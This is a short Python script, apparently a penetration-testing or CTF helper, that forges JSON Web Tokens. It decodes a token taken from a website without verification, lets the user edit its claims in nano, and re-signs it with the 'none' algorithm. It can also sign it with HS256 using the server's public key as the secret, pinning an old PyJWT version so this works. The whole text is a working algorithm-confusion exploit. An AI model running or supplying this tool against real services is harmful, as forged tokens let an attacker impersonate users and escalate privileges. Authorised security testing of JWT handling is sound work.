jwt repack with alg None or HS256 with public key

jwtrepack.py

#!/usr/bin/python3
# -*- coding: utf-8 -*-

# we need version pyJWT 0.4.3 in order for public key encode to work!
import pkg_resources
pkg_resources.require("PyJWT==0.4.3")
import jwt # => pip install pyjwt==0.4.3

import sys
import tempfile
import json
import subprocess
import argparse

# option parser
parser = argparse.ArgumentParser(description='Manipulate JWT tokens')
parser.add_argument('-t', '--token', type=str, help='JWT Token you got from the website')
parser.add_argument('-k', '--key', type=str, help='Public key input file')
args = parser.parse_args()

def edit(ln: str):
  with tempfile.NamedTemporaryFile(suffix=".txt", mode = "w", delete=True) as tmp:
    tmp.write(ln)
    tmp.flush()
    subprocess.call(['nano', tmp.name])
    with open(tmp.name, 'r') as f:
      return f.read()

# manipulate the payload
payload = json.loads(edit(json.dumps(jwt.decode(args.token, verify=False))))

# print with alg None
print(f"\n\x1b[1;31mNone:\x1b[0m {jwt.encode(payload, key='', algorithm=None).decode()}")

# if public key is provided do one with HS256
if (args.key):
    with open(args.key, 'r') as public:
        print(f"\x1b[1;31mHS256:\x1b[0m {jwt.encode(payload, key=public.read(), algorithm='HS256').decode()}")